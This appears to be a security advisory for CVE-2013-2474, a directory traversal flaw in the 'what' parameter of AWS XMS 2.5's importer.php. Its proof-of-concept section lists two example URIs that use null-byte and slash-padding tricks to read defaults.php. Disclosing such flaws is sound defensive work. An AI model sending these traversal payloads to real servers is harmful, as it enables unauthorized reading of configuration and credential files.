AWS XMS 'what' Parameter Directory Traversal Vulnerability

BID:58753

CVE-2013-2474 |

Info

AWS XMS 'what' Parameter Directory Traversal Vulnerability

Bugtraq ID: 58753
Class: Input Validation Error
CVE: CVE-2013-2474
Remote: Yes
Local: No
Published: Mar 27 2013 12:00AM
Updated: Sep 02 2013 12:10AM
Credit: High-Tech Bridge Security Research Lab
Vulnerable:
Not Vulnerable:

Discussion

AWS XMS 'what' Parameter Directory Traversal Vulnerability

AWS XMS is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can use directory-traversal strings to read arbitrary files in the context of the affected application.

AWS XMS 2.5 is vulnerable; other versions may also be affected.

Exploit / POC

AWS XMS 'what' Parameter Directory Traversal Vulnerability

Attackers can exploit this issue through a browser.

The following example URIs are available:

http://www.example.com/importer.php?what=defaults.php%00.js
http://www.example.com/importer.php?what=defaults.php///////...//////.js

Solution / Fix

AWS XMS 'what' Parameter Directory Traversal Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

AWS XMS 'what' Parameter Directory Traversal Vulnerability

References:
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